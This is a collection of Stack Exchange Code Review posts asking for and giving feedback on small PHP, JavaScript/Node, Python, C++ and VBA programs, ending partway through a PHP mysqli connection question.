"body": "<ul>\n<li><p>In <code>getMean()</code>, you don't need to call <code>count()</code> twice.</p>\n\n<pre><code>public static function getMean($array) {\n return $array ? array_sum($array) / count($array) : ConstEQ::NEAR_ZERO_NUMBER;\n}\n</code></pre></li>\n<li><p>In <code>getNormalize()</code>, instead of subtracting <code>$max</code> from <code>$min</code> twice, I think it is easier to read <code>$max != $min</code>. Also, neither branch that calculates <code>$normalized</code> needs the outermost parentheses; the Order of Operations will ensure correct evaluation.</p></li>\n<li><p>From PHP5.6+, <code>pow()</code> can be replaced with <code>**</code> syntax. <a href=\"https://www.php.net/manual/en/function.pow.php\" rel=\"nofollow noreferrer\">https://www.php.net/manual/en/function.pow.php</a> This is more of a personal preference thing. There is something to be said for the clarity of <code>pow()</code>.</p></li>\n<li><p>In <code>getStandardDeviation()</code>, you are counting the input array over and over. You should ask php to count it once and save that value to a variable for future usage.</p></li>\n<li><p>In <code>getCovariance()</code>, you are slicing the two arrays to a common length before iterating. This allows you to more simply use a <code>foreach()</code> versus a <code>for()</code> which relies on a <code>count()</code> call. Also I don't recommend <em>hiding</em> <code>return</code> on the right hand side of a <code>if</code> condition; just write it on the next line. <code>$difA</code> and <code>$difB</code> are single-use variables, so you could calculate everything after <code>$add +=</code>.</p></li>\n<li><p>In <code>getSkewness()</code>, you can simplify <code>pow($variance, 3 / 2.0)</code> to <code>pow($variance, 1.5)</code>.</p></li>\n<li><p>In <code>sumProductMeanDeviation()</code>, you are calling <code>count()</code> to set up <code>for()</code>, otherwise it is not needed. Again, just use a <code>foreach()</code>.</p>\n\n<pre><code>foreach ($arr1 as $i => $notused) {\n $sum += ST::productMeanDeviation($arr1, $arr2, $i);\n}\n</code></pre></li>\n<li><p>In <code>productMeanDeviation()</code>, you don't need the outermost parentheses. </p></li>\n<li><p>As @KIKOSoftware mentioned, <code>mean()</code> and <code>average</code> seem like mergable methods. I'll 2nd his advice to store reusable variables in the class so that php doesn't need to repeatedly count or sum anything more than once. DRY principle. This has been repeated in several reviews. We would like you to implement the advice from previous reviews before posting new scripts for review so that we don't have to repeat the same advice to the same user.</p></li>\n</ul>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T22:57:03.483",
"Id": "217641",
"ParentId": "217632",
"Score": "3"
}
},
{
"body": "<p>Trying to avoid duplicating any comments you have already had</p>\n\n<ul>\n<li>Why name the class \"ST\"? It's not very clear to another developer what a class called ST actually does</li>\n<li>Why extend EQ? Generally inheritance is use to make another class that provides the same functionality but more specialised, e.g. A \"Car\" might extend a class \"Vehicle\". I think it would be a good idea to keep these methods separate from EQ. If you wanted to use this class for Statistical Analysis for a different case other than the data in EQ, you would have to include everything from EQ just to access these methods.</li>\n<li>Why implement ConstEQ? All of your usage of these constants seem to be by referring to \"ConstEQ\", this will work without \"implements ConstEQ\". The only reason you would implement ConstEQ is if you want to provide these constants for code which uses the ST class ( so they would call \"ST::CONSTANT_NAME\")</li>\n<li>What if someone calls getMean with something other than an array? e.g. <code>getMean('hello');</code>\nYou can require an array by type hinting the parameter. <code>function getMean(array $values)</code></li>\n<li>You mean want to consider more thorough validation of the values passed to your functions, if you receive an array of strings when you expect an array of integers, you will have very strange behaviour, it would be better to throw an Exception in a case like that.</li>\n<li><p>In PHP 7 you can hint on the return type of a method. It's useful as documentation for another developer but also means code which uses the method can rely on the type being returned without worrying about some failure case that returns something else. <code>function getMean(array $values): int</code></p></li>\n<li><p>When you have an <code>if</code> block which always returns you can actually skip the \"else\" to make code a bit simpler to read</p></li>\n</ul>\n\n<pre><code>\n if (count($array) == 0) {\n return ConstEQ::NEAR_ZERO_NUMBER;\n }\n return array_sum($array) / count($array);\n\n</code></pre>\n\n<ul>\n<li>You could simplify getNormalize similarly</li>\n</ul>\n\n<pre><code>\n if ($max - $min != 0) {\n return 2 * (($value - $min) / ($max - $min)) - 1;\n }\n return 2 * (($value - $min)) - 1;\n\n</code></pre>\n\n<ul>\n<li>The comment for isNumber implies you are accepting a string as a parameter but it looks like this actually accepts an array</li>\n</ul>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-05-17T19:02:03.807",
"Id": "220432",
"ParentId": "217632",
"Score": "3"
}
}
] | {
"AcceptedAnswerId": "217641",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T17:03:42.670",
"Id": "217632",
"Score": "2",
"Tags": [
"beginner",
"php",
"array",
"statistics"
],
"Title": "Statistical methods using PHP (mean, co/variance, standard deviation, skew, correlation)"
} | 217632 |
<p>I am making my first Sapper app and the pages are all in routes. I am now extracting the content into a separate directory and unsure if I'm doing anything right.</p>
<p>Here is an excerpt from my directory structure:</p>
<pre><code>content
|- index.md
|- services.txt
|- about
|- index.md
|- technologies.html
routes
|- index.html
|- services.html
|- section-[section].json.js
|- about
|- index.html
|- technologies.html
</code></pre>
<p>I've made JSON interface <code>section-[section].json.js</code> that is used to request content. The content of <code>sectionX</code> can be in file <code>content/sectionX.ext</code> with whatever extension and the content is also parsed through <code>marked</code> if it's a <code>.md</code> file.</p>
<p>This is how I am loading the content in my <code>routes/services.html</code>:</p>
<pre><code><script>
export default {
preload() {
return this.fetch('section-services.json').then(r => r.json()).then(section => {
return {section};
});
}
}
</script>
</code></pre>
<p>Nested files are requested using dot notation, i.e. <code>about.technologies</code> could be resolved either to file <code>content/about/technologies.ext</code> or <code>content/about/technologies/index.ext</code> (similar to how sapper resolves URIs to files).</p>
<p>The part that I would like to have reviewed is my <code>routes/section-[section].json.js</code>. This is the file that receives a section name (with slashes replaced by dots) and returns the content, parsed if it's markdown.</p>
<pre class="lang-js prettyprint-override"><code>import fs from 'fs'
import path from 'path'
import marked from 'marked'
function getFileFromDir(file, directory)
{
const filesInDir = fs.readdirSync('content/'+directory, {withFileTypes: true})
.filter(f => f.isFile() && file == path.parse(f.name).name)
if (filesInDir.length)
{
let fileName = 'content/'
if (directory.length)
fileName += directory + '/'
fileName += filesInDir[0].name
return fileName
}
return null
}
function getFile(path)
{
path = path.split('.')
// First try to get the named file
let file = getFileFromDir(path[path.length-1], path.slice(0,-1).join('/'))
if (file)
return file
// Assume that path is a directory and look for index
file = getFileFromDir('index', path.join('/'))
if (file)
return file
return null
}
export function get(req, res) {
let file = getFile(req.params.section)
if (!file)
return 'Failed to fetch content of section ' + req.params.section
let content = fs.readFileSync(file, 'utf8')
if ('.md' == path.extname(file))
content = marked(content)
res.writeHead(200, {
'Content-Type': 'application/json',
'Cache-Control': `max-age=${30 * 60 * 1e3}`
})
content = JSON.stringify({content})
res.end(content)
}
</code></pre>
<p>My experience with Node is also fairly limited, all tips are appreciated!</p>
| [] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T22:07:51.673",
"Id": "217640",
"Score": "1",
"Tags": [
"javascript",
"node.js"
],
"Title": "Load content from files (and sometimes parse) in Sapper"
} | 217640 |
<p>I did a project in Python where I combined user-input, random, and the turtle module to make a sort of "Mandala Generator", or a program that can generate a simple design either randomly or by the specifications of users. Is there any way I can shorten my code without drastically changing it?</p>
<pre><code>#custom mandala project Python
import turtle
import random
import time
#is the game in progress?
drawing = False
#define turtle
pen = turtle.Turtle()
pen.setheading(90)
pen.pensize(3)
pen.speed(12)
#colors empty list
colors = []
#define variables
LINE1, LINE2 = "~" * 36, "~" * 24
#define check input function
def get_input(response, values):
#make sure the input is in the choices
while True:
value = input(response).strip().lower()
if value in values:
return value
#define main function
def main():
print(LINE1 + "\nCustom Mandala Generator\n" + LINE1)
name = input("What is your name? ")
print("In this custom mandala generator, you get to choose the size and colors of your mandala, or have the computer generate a random one,", name, ".\n" + LINE2)
time.sleep(1)
ready = input("Are you ready or not? ")
if ready[0].lower() == "y":
answer = get_input("Would you like to use our random generator function or our custom function? {random/custom} ", {"random", "custom"})
#universal variables
size = random.uniform(1.5, 2.5)
fd = 75 * size
if answer == "random":
colors.extend(("darkred", "red", "yellow", "darkgreen", "green", "lightgreen", "darkblue", "blue", "purple"))
#rt = right turn
rt = random.uniform(100, 300)
elif answer == "custom":
print(LINE2 + "\nYou can choose any colors from this list for your Mandala: \nDarkred, red, yellow, darkgreen, green, lightgreen, darkblue, blue, purple")
color1 = get_input("What is the first color? ", {"darkred", "red", "yellow", "darkgreen", "green", "lightgreen", "darkblue", "blue", "purple"})
color2 = get_input("What is the second color? ", {"darkred", "red", "yellow", "darkgreen", "green", "lightgreen", "darkblue", "blue", "purple"})
colors.extend((color1, color2))
rt = int(input("What angle would you like your Mandala to turn at? "))
#pre-draw sequence
print(LINE2 + "\nInitializing...")
print("Determining features... \nColor... \nSize...")
time.sleep(3)
print(LINE1 + "\nYour final result should be drawing as of this point!\nThanks for using the generator,", name, "!")
for counter in range(50):
selection = random.choice(colors)
pen.color(selection)
pen.forward(fd)
pen.right(rt)
else:
print("Come and use the custom generator later!")
main()
</code></pre>
| [] | [
{
"body": "<p>I don't know why you would want to shorten your code. It is already just 73 lines long (including the final blank line). Apart from that, \"short\" does not automatically mean \"good\". Maybe <em>concise</em> would be a better fit here, which I would interpret as \"the code does what it should do without clutter\". IMHO your code is very concise and readable at the moment and that should not be sacrificed to gain a few lines/bytes. We're not at Code Golf here.</p>\n\n<p>Nevertheless, there are a few things you can improve easily.</p>\n\n<h2>Documentation</h2>\n\n<p>Python's official Style Guide has <a href=\"https://www.python.org/dev/peps/pep-0008/#documentation-strings\" rel=\"nofollow noreferrer\">recommendations</a> on how to comment code and functions. Function <em>docstrings</em> should always be defined inside the function body and be surrounded by triple quotes <code>\"\"\"...\"\"\"</code>. Applying this to your code it would look something like</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>def get_input(response, values):\n \"\"\"make sure the input is in the choices\"\"\"\n # your code here\n</code></pre>\n\n<p>This will also allow Python's built-in <code>help(...)</code> function and most IDEs to pick up the documentation.</p>\n\n<h2>Avoid globals</h2>\n\n<p>You should always strive to avoid global variables whenever possible. E.g. in your code <code>colors</code> is not used outside of <code>main()</code> and should therefore be defined there. <code>drawing</code> does not seem to be used anywhere, so you might be able to drop it completely. <code>LINE1</code> and <code>LINE2</code> are two valid uses for globals. My only recommendation here would be to put them on two separate lines. Oh, and strictly speaking your comment on them is \"wrong\" since they are not used as <em>variables</em> but as <em>constants</em>, which is also supported by the <code>ALL_CAPS_NAME</code> (the Style Guide also says something on <a href=\"https://www.python.org/dev/peps/pep-0008/#constants\" rel=\"nofollow noreferrer\">that</a>).</p>\n\n<h2>Variable names</h2>\n\n<p>There is this piece of code which I find kind of amusing:</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>#rt = right turn\nrt = random.uniform(100, 300)\n</code></pre>\n\n<p>Why not just call the variable <code>right_turn</code> or <code>right_turn_angle</code> right away then? The same reasoning would apply to <code>fd</code>, but you didn't care to write the comment there and left it as an exercise to the person looking at your code to find out that it actually stands for <code>forward</code>. You could also rename <code>size</code> to <code>mandala_scale</code> or so and then drop that <code>#universal variables</code> altogether since it does not really help to understand the code better. At least at the moment you could even get rid of <code>size</code> completely since its only use is to be multiplied by <code>75</code> on the next line and it's never used after that.</p>\n\n<h2>Other aspects</h2>\n\n<p>There is a lot of repetition when it comes to the list of available colors. Including the print, you define them four times. If you ever decide to add, change or remove a color from that list, there would be four places that change would need to be applied to. I would recommend to define them in one place, and reuse the list wherever it is needed.</p>\n\n<pre class=\"lang-py prettyprint-override\"><code># ...\n\ncolors = []\nall_colors = (\"darkred\", \"red\", \"yellow\", \"darkgreen\", \"green\", \"lightgreen\", \"darkblue\", \"blue\", \"purple\")\nif answer == \"random\":\n colors.extend(all_colors)\n right_turn = random.uniform(100, 300)\n\nelif answer == \"custom\":\n all_colors_string = \", \".join(all_colors)[:-2] # -2 to trim of the trailing space and ,\n print(LINE2 + \"\\nYou can choose any colors from this list for your Mandala: \\n\" + all_colors_string)\n color1 = get_input(\"What is the first color? \", all_colors)\n color2 = get_input(\"What is the second color? \", all_colors)\n\n# ...\n</code></pre>\n\n<p>In the transformation the set notation (<code>{...}</code>) got lost, but I think your application will not really suffer from the (minuscule) performance impact because a tuple is used instead of a set.</p>\n\n<p>Another handy feature I would like to point out to you is string formatting. So what's that? Let's look at an example from your code:</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>print(\"[...] or have the computer generate a random one,\", name, \".\\n\" + LINE2)\n</code></pre>\n\n<p>Here you are using Python's implicit behavior to print the elements of a tuple separated by whitespace<sup>1</sup>. That leads to the following output (minus the annotation of course):</p>\n\n<pre class=\"lang-none prettyprint-override\"><code>[...] or have the computer generate a random one, Alex .\n~~~~~~~~~~~~~~~~~~~~~~~~\n does look off ~^\n</code></pre>\n\n<p>Note the unwanted whitespace between the name and the dot?<br/>\nBut we can do better! Python has very powerful string formatting capabilities (<a href=\"https://docs.python.org/3/library/stdtypes.html#str.format\" rel=\"nofollow noreferrer\">doc</a>), and since you have tagged your question as Python 3, you can likely use the new f-string syntax (helpful <a href=\"https://realpython.com/python-f-strings/#f-strings-a-new-and-improved-way-to-format-strings-in-python\" rel=\"nofollow noreferrer\">blog post</a> comparing all the different ways, <a href=\"https://www.python.org/dev/peps/pep-0498/#rationale\" rel=\"nofollow noreferrer\">specification (PEP 498)</a>).\nRewriting the code from above using an f-string would lead to:</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>print(f\"[...] or have the computer generate a random one, {name}.\\n\" + LINE2)\n</code></pre>\n\n<p>So <code>f\"... {name}\"</code> basically generates a string containing the value of <code>name</code> right at the spot we the curly braces and the name of the variable where.<sup>2</sup> For the sake of completeness that generates the following output:</p>\n\n<pre class=\"lang-none prettyprint-override\"><code>[...] or have the computer generate a random one, Alex.\n~~~~~~~~~~~~~~~~~~~~~~~~\n</code></pre>\n\n<p>As a final note, you could/should also add </p>\n\n<pre class=\"lang-py prettyprint-override\"><code>if __name__ == \"__main__\":\n main()\n</code></pre>\n\n<p>(<a href=\"https://stackoverflow.com/a/419185\">explanation</a>) to highlight what part of the code is actually run if this file is used as Python script.</p>\n\n<hr>\n\n<p><strong>Bonus</strong>: by removing unnecessary globals and comments your script is actually even <del>shorter</del> more concise now, although that was not the main goal of what I was trying to tell you.</p>\n\n<hr>\n\n<p><sup>1</sup> Depending on your Python experience you might wonder where there is a tuple in that line or you will nod silently. In the first case I would recommend reading <a href=\"https://stackoverflow.com/q/919680\">this SO post</a> on how Python deals with functions that have a variable number of arguments (often <em>varargs</em> for short), and then to have a look at how the print function is defined in the documentation.<br/>\n<sup>2</sup> In fact, f-strings are way more powerful than this, but you should refer to the resources linked earlier if you want to know more.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-18T09:17:31.097",
"Id": "217662",
"ParentId": "217644",
"Score": "3"
}
},
{
"body": "<p>I prefer to have at least one print statement per line of output. Instead of:</p>\n\n<pre><code>print('line1\\nline2\\line3')\n</code></pre>\n\n<p>I would rather write:</p>\n\n<pre><code>print('line1')\nprint('line2')\nprint('line3')\n</code></pre>\n\n<p>That way, when there is a large block of output on the screen and you want to find it in the file, it's obvious where in the code it might be.</p>\n\n<hr>\n\n<p>Going to sleep before doing the actual work is dishonest. There is no benefit of having <code>sleep(3)</code> in the code, it's just wasting the user's time.</p>\n\n<hr>\n\n<p>From a technical viewpoint, asking for the name of the user is unnecessary.</p>\n\n<p>The next question is unnecessary as well since the user, if they choose not to produce a mandala, can always quit the program at any time.</p>\n\n<p>The question about the angle should suggest some useful numbers or at least a range, to help people who don't like math.</p>\n\n<p>The following line is a bold lie:</p>\n\n<pre><code>print(\"Determining features... \\nColor... \\nSize...\")\n</code></pre>\n\n<hr>\n\n<p>By using the word <em>mandala</em>, you made me expect a colorful image with curved lines, the lines painted in black and the areas between filled with colors. Just drawing some straight lines doesn't qualify as a mandala for me. That part is something you should invest some work, to create beautiful images.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-19T04:40:39.087",
"Id": "217711",
"ParentId": "217644",
"Score": "-1"
}
}
] | {
"AcceptedAnswerId": "217662",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-18T00:49:03.693",
"Id": "217644",
"Score": "4",
"Tags": [
"python",
"python-3.x",
"tkinter",
"turtle-graphics"
],
"Title": "Python - Random Mandala"
} | 217644 |
<p>Recently i wanted to test my Python knowledge so I'm taking some challenges. I came across a Rock Paper Scissor challenge and I wanted to make it with less code and reuse the same code over and over. The code below is what I have written so far and it works great. I just want to get your opinions: what can i do better?</p>
<pre><code>rules = {
'rock': {
'scissor': 'smashes'
},
'paper': {
'rock': 'packs'
},
'scissor': {
'paper': 'cuts'
}
}
player_one = input("P1 | Rock, Paper or Scissor: ").lower()
player_two = input("P2 | Rock, Paper or Scissor: ").lower()
def play(p1, p2):
if p1 in rules:
if p2 in rules[p1]:
print("{} {} {}".format(p1, rules[p1][p2], p2))
if p2 in rules:
if p1 in rules[p2]:
print("{} {} {}".format(p2, rules[p2][p1], p1))
if p1 not in rules or p2 not in rules:
print("Invalid input")
if __name__ == '__main__':
play(player_one, player_two)
</code></pre>
| [] | [
{
"body": "<p>Perform the validation first, to eliminate redundant conditionals.</p>\n\n<pre><code>def play(p1, p2):\n if p1 not in rules or p2 not in rules:\n print(\"Invalid input\")\n elif p2 in rules[p1]:\n print(\"{} {} {}\".format(p1, rules[p1][p2], p2))\n elif p1 in rules[p2]:\n print(\"{} {} {}\".format(p2, rules[p2][p1], p1))\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-18T02:00:29.503",
"Id": "421122",
"Score": "0",
"body": "Ah, you are absolutely right. This is what i was looking for, a nice upgrade to my code. Thanks!"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-18T01:45:48.403",
"Id": "217646",
"ParentId": "217645",
"Score": "2"
}
},
{
"body": "<p>Don't let your users give bad input. You could use a TUI framework such as Inquirer to guide your users to chose from a list.</p>\n\n<p>Also you should avoid to put business code at the top level scope of your module. You should define <code>player_one</code> and <code>player_two</code> from a method. Code that is at the top level scope of your module is only ever executed once as it's not reexecuted when you import after the first import.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-19T06:12:30.407",
"Id": "217716",
"ParentId": "217645",
"Score": "0"
}
}
] | {
"AcceptedAnswerId": "217646",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-18T01:35:15.597",
"Id": "217645",
"Score": "4",
"Tags": [
"python",
"rock-paper-scissors"
],
"Title": "Python, Rock, Paper, Scissor"
} | 217645 |
<p>I need to improve the efficiency of my program and, using the profiler, have narrowed the problem down to 2 key areas, but I am having trouble coming up with ways to make the program run better.</p>
<p>Based on my profiler's report, it seems to be telling me that my if functions are inefficient. Whats a better way to achieve a better result?</p>
<pre><code>Character* FindAttackTarget() const
{
float weakestHp = FLT_MAX;
Character* weakestEnemy = nullptr;
uint64_t weakestCharId = INT64_MAX;
//Only attack characters that are within attack range
auto& gameChars = m_pGame->m_gameCharacters;
for (size_t i = 0; i < gameChars.size(); ++i)
{
auto& c = gameChars[i];
if (Location.Dist(c.GetLocation()) <= AttackRange &&
c.HP > 0 &&
c.Team != Team)
{
//We want the weakest with the lowest ID number - this keeps consistent results when re-playing the same part of the game (eg. after a load game)
if (c.HP < weakestHp || (c.HP == weakestHp && c.ID < weakestCharId))
{
weakestEnemy = &gameChars[i];
weakestHp = c.HP;
weakestCharId = c.ID;
}
}
}
return weakestEnemy;
}
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-18T04:58:25.107",
"Id": "421139",
"Score": "0",
"body": "Which lines are the ones being flagged by the profiler as slow?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-19T11:54:06.947",
"Id": "421284",
"Score": "0",
"body": "Are there many characters? And are few of them in range?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-19T19:07:49.370",
"Id": "421330",
"Score": "0",
"body": "**A Note on Naming** `FindAttackTarget` implies it's finding a target to attack, which it does. But the name fails to deliver any of the relevant information that the function is retrieving the one with the lowest HP or the distance factor. One might improve this with something like `FindLowestHealthTarget`."
}
] | [
{
"body": "<p>The tests <code>c.HP > 0</code> and <code>c.Team != Team</code> are probably blazingly fast tests. <code>Location.Dist(c.GetLocation()) <= AttackRange</code> probably involves the square-root of the sum of the squares of the difference of coordinates in two or three dimensions. Plus, <code>GetLocation()</code> may involve memory allocation and/or copying constructors. It is by far the slowest test, yet you are testing it first! Take advantage of the short-circuit logical <code>and</code> operators by reordering the tests so the fastest tests are done first, so the slowest test may not even need to be executed, resulting in faster execution. </p>\n\n<p>Since all conditions must pass before you update <code>weakestEnemy</code>, you could even test whether or not the target passes the “weakest with lowest ID” test before checking the attack range. </p>\n\n<p>Bonus: the square-root can be avoided; simply compute the square distance, and compare against the <span class=\"math-container\">\\$AttackRange^2\\$</span> (computed outside of the loop) for another speed gain.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-18T06:08:02.640",
"Id": "421141",
"Score": "0",
"body": "I believe you're on the right track but could expand and systematize your answer: for instance, @Atazir could have gameChars partitioned between enemy and the rest, then have the enemy partition sorted by strength, and last find the first enemy in range: the costly operation is performed on the least number of elements."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-18T13:29:12.083",
"Id": "421189",
"Score": "0",
"body": "@papagaga Partitioning is a great idea; not so sure about the sorting. Perhaps it would be better if you expanded and defended these ideas in your own answer."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-18T05:45:43.363",
"Id": "217652",
"ParentId": "217649",
"Score": "8"
}
},
{
"body": "<p>Since you tagged <code>c++</code>, we should make use of C++ features, and not pretend <code>c++</code> being <code>c</code> with <code>classes</code>.</p>\n\n<h3>No raw loops (see Sean Parent's talk on <a href=\"https://sean-parent.stlab.cc/presentations/2013-09-11-cpp-seasoning/cpp-seasoning.pdf\" rel=\"nofollow noreferrer\">C++ Seasoning</a>)</h3>\n\n<pre><code>auto& c = gameChars[i];\nif (Location.Dist(c.GetLocation()) <= AttackRange &&\n c.HP > 0 &&\n c.Team != Team)\n{\n //We want the weakest with the lowest ID number - this keeps consistent results when re-playing the same part of the game (eg. after a load game)\n if (c.HP < weakestHp || (c.HP == weakestHp && c.ID < weakestCharId))\n {\n weakestEnemy = &gameChars[i];\n weakestHp = c.HP;\n weakestCharId = c.ID;\n }\n}\n</code></pre>\n\n<p>The body of the <code>for</code> loop is basically <strong>finding the minimum element</strong> in a range of <code>Characters</code>, where the range is represented by <code>Characters</code>, which satisfy a pre-condition. There is already a function for that in the STL called <a href=\"http://www.cplusplus.com/reference/algorithm/min_element/\" rel=\"nofollow noreferrer\">std::min_element</a>.</p>\n\n<p>In order to use <code>std::min_element</code> you only have to provide a comparison functor or a pre-define a comparison function for <code>Character</code>, e.g.</p>\n\n<pre><code>bool operator<(const Character& lhs, const Character& rhs)\n{\n return lhs.HP < rhs.HP || (lhs.HP == rhs.HP && lhs.ID < rhs.ID);\n}\n</code></pre>\n\n<p>Now considering <code>std::min_element</code> and including the pre-check, we can rewrite <code>FindAttackTarget</code> to:</p>\n\n<pre><code>Character* FindAttackTarget() const\n{\n auto& gameChars = m_pGame->m_gameCharacters;\n auto min_it = std::min_element(gameChars.begin(), gameChars.end(), [&](auto& lhs, auto& rhs) {\n // also changed the order of evaluation since Location.Dist() is most likely the slowest to evaluate\n if(lhs.HP > 0 && lhs.Team != Team && Location.Dist(lhs.GetLocation()) <= AttackRange)\n {\n return lhs < rhs;\n }\n return false;\n }));\n if(min_it == gameChars.end()) // no target found\n return nullptr;\n return &(*min_it);\n}\n</code></pre>\n\n<p>Et voila, no raw loops, only using STL algorithms. Now everyone can reason about your program without having to worry about any loop shenanigans you might have mixed up.</p>\n\n<p>From here on, there can only be one bottleneck, and that is the <code>Location.Dist()</code> function as @AJNeufeld already mentioned.</p>\n\n<h3>Addon: range-v3</h3>\n\n<p>With the <code>range-v3</code> library, which will be included in <code>c++20</code>, you can pre-filter your attackable targets like this:</p>\n\n<pre><code>bool isAttackable(const Character& c) {\n return c.HP > 0 && c.Team != Team && Location.Dist(c.GetLocation()) <= AttackRange;\n}\n\nauto attackableChars = gameChars | ranges::view::filter(isAttackable);\n</code></pre>\n\n<p>resulting in code for <code>FindAttackTarget</code>:</p>\n\n<pre><code>Character* FindAttackTarget() const {\n auto attackableChars = m_pGame->m_gameCharacters | ranges::view::filter(isAttackable);\n if(attackableChars.empty()) // no target found\n return nullptr;\n return &(*std::min_element(attackableChars.begin(), attackableChars.end()));\n}\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-19T01:51:53.163",
"Id": "217708",
"ParentId": "217649",
"Score": "2"
}
},
{
"body": "<p>The most obvious target for improvement is the outer loop:</p>\n\n<p>Currently, you loop over all characters. If there are few characters, that's fine. If there are many, it's unconscionable.</p>\n\n<p>Consider dividing your play-area into a grid, and adding a <code>std::unordered_multimap</code> to find all characters in a cell. Depending on the range and your cell-size, you won't have to search too many cells, and they won't have that many characters each.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-19T11:58:50.140",
"Id": "217730",
"ParentId": "217649",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": "217652",
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-18T02:32:09.663",
"Id": "217649",
"Score": "5",
"Tags": [
"c++",
"performance"
],
"Title": "Finds a Character based on distance and health"
} | 217649 |
<p>Here is my code for a sub which does the following: </p>
<ol>
<li><p>read header of a table into an array</p></li>
<li><p>reads first row of said table into a 2nd array</p></li>
<li><p>loops through the first array and replaces the marked keywords <code><keyword></code> in a word template file (.dotx) with the data row cell (includes header and body)</p></li>
</ol>
<p>This sub is then called by another sub specifying both table rows and the template file. </p>
<p>Now since I am not a programmer by profession I am pretty sure that this is far from the best way to do it efficiently, so any comments or improvements are much appreciated.</p>
<pre><code>Sub ReplacefromRange(header As Range, DataRow As Range, TemplateFile)
Dim heading() As String
Dim data() As String
Dim i As Integer
Dim x As Variant
' Creates a first array that takes "header" as argument
i = -1
For Each x In header.Cells
i = i + 1
ReDim Preserve heading(i) As String
heading(i) = x.Value
Next x
' Creates second array that takes "DataRow" as argument
i = -1
For Each x In DataRow.Cells
i = i + 1
ReDim Preserve data(i) As String
data(i) = x.Value
Next x
' Uses a for each loop through heading() to find and replace individual entries in the "TemplateFile" argument
i = 0
For Each x In heading()
With TemplateFile 'looks at the word document body
.Application.Selection.Find.Text = "<" & heading(i) & ">"
.Application.Selection.Find.Execute
.Application.Selection = data(i)
.Application.Selection.EndOf
' the part below looks at the header content
.Sections(1).headers(wdHeaderFooterPrimary).Range.Find.Execute _
FindText:="<" & heading(i) & ">", Format:=False, ReplaceWith:=data(i), Replace:=wdReplaceAll, Wrap:=wdFindContinue
i = i + 1
End With
Next x
End Sub
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-18T13:44:59.943",
"Id": "421192",
"Score": "0",
"body": "Since you're not a professional programmer, this is an excellent start and good job for developing a working solution! I highly recommend the [Rubberduck](https://github.com/rubberduck-vba/Rubberduck/wiki) tool that will give you very helpful guidance in reviewing your code within your development environment"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-18T18:01:18.073",
"Id": "421218",
"Score": "0",
"body": "@PeterT thank you for the kind words, they are very much appreciated. Funnily enough I stumbled upon rubberduck earlier today and I am now slowly familiarising myself with it, seems like I was on the right track with adding that to my toolkit."
}
] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-18T05:04:13.043",
"Id": "217651",
"Score": "0",
"Tags": [
"vba",
"excel",
"ms-word"
],
"Title": "Looping through table rows and replacing key terms in a word template"
} | 217651 |
<p>Which one of these methods is better/safer to use? And what benefits could I get using one or other?</p>
<h2>Simple mysqli:</h2>
<h3>connection.php</h3>
<pre><code>$DBServer = "localhost";
$DBPort = "3306";
$DBUser = "root";
$DBPass = "";
$DBName = "test";
$conn = new mysqli($DBServer, $DBUser, $DBPass, $DBName, $DBPort);
if ($conn->connect_error) {
echo "Database connection failed: " . $conn->connect_error, E_USER_ERROR;
}
mysqli_set_charset($conn,"utf8");
</code></pre>
<h3>index.php</h3>
<pre><code>include_once("connection.php");
$l_name = mysqli_real_escape_string($conn, $_GET['l_name']);
$query = mysqli_query($conn, "SELECT * FROM test WHERE lname='".$l_name."'");
while($row = mysqli_fetch_array($query)){
echo $row['f_name'].' '.$row['l_name'].'<br>';
}
</code></pre>
<h2>mysqli with class:</h2>
<h3>connection.php</h3>
<pre><code>class Connect
{
var $host = 'localhost';
var $user = 'root';
var $pass = '';
var $db = 'test';
var $con;
function connect() {
$con = mysqli_connect($this->host, $this->user, $this->pass, $this->db);
if (!$con) {
//die('Could not connect to database!');
} else {
$this->con = $con; //echo 'Connection established!';
}
mysqli_set_charset($this->con,"utf8");
return $this->con;
}
function close() {
mysqli_close($con);
}
}
</code></pre>
<h3>index.php</h3>
